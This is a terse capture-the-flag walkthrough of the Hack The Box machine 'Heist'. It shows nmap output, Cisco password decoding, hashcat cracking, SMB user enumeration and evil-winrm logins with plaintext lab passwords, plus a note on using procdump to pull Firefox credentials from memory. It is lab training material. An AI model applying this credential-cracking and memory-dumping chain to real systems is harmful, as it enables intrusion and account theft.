CISCO PASSWORD DECRPT (TYPE 5 and 7)

PROCDUMP.EXE(MOZILLA PASSWORD DUMP)

```
PORT    STATE SERVICE      VERSION

80/tcp  open  http         Microsoft IIS httpd 10.0

| http-cookie-flags:

|   /:

|     PHPSESSID:

|_      httponly flag not set

| http-methods:

|_  Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/10.0

| http-title: Support Login Page

|_Requested resource was login.php

135/tcp open  msrpc        Microsoft Windows RPC

445/tcp open  microsoft-ds?

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

OS fingerprint not ideal because: Missing a closed TCP port so results incomplete

No OS matches for host

Network Distance: 2 hops

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


Host script results:

|_clock-skew: 7s

| smb2-security-mode:

|   2.02:

|_    Message signing enabled but not required

| smb2-time:

|   date: 2020-04-11T13:12:10

|_  start_date: N/A
```

```
TRACEROUTE (using port 445/tcp)

HOP RTT      ADDRESS

1   92.19 ms 10.10.14.1

2   90.94 ms heist.htb (10.10.10.149)
```

Guest login > http://heist.htb/issues.php > http://heist.htb/attachments/config.txt

http://ibeast.com/tools/CiscoPassword/index.asp

router - $uperP@ssword

admin - Q4)sJu\Y8qz*A3?d

```
root@akg:/home/akg/Desktop/hackthebox/heist# hashcat -a 0 -m 500 hash.txt /usr/share/wordlists/rockyou.txt –force

stealth1agent

root@akg:/home/akg/Desktop/hackthebox/heist# smbclient -L //heist.htb -U hazard

Enter WORKGROUP\hazard's password:


        Sharename       Type      Comment

        ---------       ----      -------

        ADMIN$          Disk      Remote Admin

        C$              Disk      Default share

        IPC$            IPC       Remote IPC

root@akg:/home/akg/Desktop/hackthebox/heist#  /usr/share/doc/python3-impacket/examples/lookupsid.py hazard:stealth1agent@heist.htb

1008: SUPPORTDESK\Hazard (SidTypeUser)

1009: SUPPORTDESK\support (SidTypeUser)

1012: SUPPORTDESK\Chase (SidTypeUser)

1013: SUPPORTDESK\Jason (SidTypeUser)

root@akg:/home/akg/Desktop/hackthebox/heist# evil-winrm -i heist.htb -u chase -p "Q4)sJu\Y8qz*A3?d"

Stuff to-do:

1. Keep checking the issues list.

2. Fix the router config.
```

Done:

1. Restricted access for guest user.

```
Evil-WinRM* PS C:\Users\Chase\Desktop> ps

/usr/lib/ruby/vendor_ruby/net/ntlm/client/session.rb:39: warning: constant OpenSSL::Cipher::Cipher is deprecated

/usr/lib/ruby/vendor_ruby/net/ntlm/client/session.rb:128: warning: constant OpenSSL::Cipher::Cipher is deprecated

/usr/lib/ruby/vendor_ruby/net/ntlm/client/session.rb:138: warning: constant OpenSSL::Cipher::Cipher is deprecated


Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    467      18     2300       5436               408   0 csrss
    294      17     2312       5236               496   1 csrss
    358      15     3540      14512              5356   1 ctfmon
    166       9     1908       9852       0.08   1928   1 dllhost
    258      14     4080      13508              3924   0 dllhost
    616      32    33064      58952                76   1 dwm
   1489      58    23460      77876              5632   1 explorer
    407      31    17048      62808       1.31   1368   1 firefox
    390      30    27620      60276      32.55   2964   1 firefox
    343      19     9988      37472       1.38   5056   1 firefox
   1149      68   116436     187804      28.45   5612   1 firefox
    358      26    16388      37664       0.64   6156   1 firefox
```

PROCDUMP.EXE

```
root@akg:/home/akg/Desktop/hackthebox/heist# evil-winrm -i heist.htb -u Administrator -p 4dD\!5\}x\/re8\]FBuZ
```